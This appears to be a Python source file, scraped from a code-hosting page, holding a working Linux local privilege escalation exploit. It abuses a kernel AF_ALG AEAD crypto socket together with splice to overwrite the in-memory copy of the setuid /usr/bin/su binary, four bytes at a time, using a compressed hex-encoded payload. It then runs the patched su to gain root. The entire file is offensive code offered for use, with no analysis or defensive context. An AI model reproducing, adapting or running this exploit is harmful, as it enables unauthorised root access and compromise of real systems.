72 lines
3.1 KiB
Python
72 lines
3.1 KiB
Python
#!/usr/bin/env python3
|
|
import os as os_module
|
|
import socket as socket_module
|
|
import zlib
|
|
|
|
|
|
# Convert a hex string to bytes
|
|
def hex_to_bytes(hex_string):
|
|
return bytes.fromhex(hex_string)
|
|
|
|
|
|
# Patch a 4-byte chunk (patch_bytes) at offset (chunk_offset) in file descriptor (target_fd)
|
|
# using a kernel AEAD crypto socket to write into the target binary
|
|
def patch_chunk(target_fd, chunk_offset, patch_bytes):
|
|
# Create an AEAD (Authenticated Encryption with Associated Data) socket
|
|
crypto_socket = socket_module.socket(38, 5, 0)
|
|
# Bind to the AEAD algorithm: AES-CBC with HMAC-SHA256 (with ESN)
|
|
crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
|
# SOL_ALG socket option level
|
|
sol_alg = 279
|
|
set_socket_option = crypto_socket.setsockopt
|
|
# Set the cipher key (16-byte AES key, all zeros)
|
|
set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64))
|
|
# Set the authentication tag size to 4 bytes
|
|
set_socket_option(sol_alg, 5, None, 4)
|
|
# Accept a connection on the crypto socket to get a usable file descriptor
|
|
crypto_connection, _ = crypto_socket.accept()
|
|
# The write offset into the target file is the current chunk offset + 4
|
|
write_offset = chunk_offset + 4
|
|
# Null byte used to pad control message fields
|
|
null_byte = hex_to_bytes("00")
|
|
# Send the payload chunk with crypto control messages (IV, seq number, op)
|
|
crypto_connection.sendmsg(
|
|
[b"A" * 4 + patch_bytes], # 4-byte header + 4-byte patch data
|
|
[
|
|
(sol_alg, 3, null_byte * 4), # IV (all zeros, 4 bytes)
|
|
(sol_alg, 2, b"\x10" + null_byte * 19), # Sequence number / nonce
|
|
(sol_alg, 4, b"\x08" + null_byte * 3), # Operation flags
|
|
],
|
|
32768, # MSG_SPLICE_PAGES flag to splice directly into the pipe
|
|
)
|
|
# Create a pipe to splice data from the crypto socket into the target file
|
|
pipe_read_fd, pipe_write_fd = os_module.pipe()
|
|
splice_data = os_module.splice
|
|
# Splice encrypted output into the write end of the pipe
|
|
splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0)
|
|
# Splice from the read end of the pipe into the crypto socket fd (patching the binary)
|
|
splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset)
|
|
try:
|
|
# Drain the response from the crypto socket
|
|
crypto_connection.recv(8 + chunk_offset)
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
# Open the target binary for reading/writing (O_RDONLY=0, relies on splice to write)
|
|
target_fd = os_module.open("/usr/bin/su", 0)
|
|
chunk_offset = 0
|
|
# Decompress the payload: a sequence of 4-byte patches to apply to the binary
|
|
payload_bytes = zlib.decompress(
|
|
hex_to_bytes(
|
|
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
|
|
)
|
|
)
|
|
# Iterate over the decompressed payload in 4-byte chunks and patch the binary
|
|
while chunk_offset < len(payload_bytes):
|
|
patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4])
|
|
chunk_offset += 4
|
|
# Execute the (now-patched) su binary
|
|
os_module.system("su")
|
|
|